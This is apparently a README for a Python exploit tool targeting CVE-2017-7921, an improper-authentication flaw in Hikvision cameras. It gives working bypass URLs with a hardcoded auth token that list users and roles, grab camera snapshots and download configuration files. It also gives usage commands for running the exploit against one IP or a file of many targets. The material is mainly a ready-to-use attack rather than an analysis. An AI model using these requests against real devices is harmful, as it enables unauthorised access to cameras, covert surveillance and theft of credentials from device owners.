CVE-2017-7921 Exploit

An Improper Authentication issue was discovered in Hikvision devices.

​ The improper authentication vulnerability occurs when an application does not adequately or correctly authenticate users.

​ This may allow a malicious user to escalate his or her privileges on the system and gain access to sensitive information.

​ https://seclists.org/fulldisclosure/2017/Sep/23

​ Vulnerability details:

​ ----------------------

​ Retrieve a list of all users and their roles:

​ http://camera.ip/Security/users?auth=YWRtaW46MTEK

​ Obtain a camera snapshot without authentication:

​ http://camera.ip/onvif-http/snapshot?auth=YWRtaW46MTEK

​ And worst of all, one can download camera configuration:

​ http://camera.ip/System/configurationFile?auth=YWRtaW46MTEK

Install dependence

python3 -m pip install -r requirements.txt

Usage

python3 CVE_2017_7921_EXP.py -t xxx.xx.xx.xx run
python3 CVE_2017_7921_EXP.py -t ./targets.txt run

Screenshot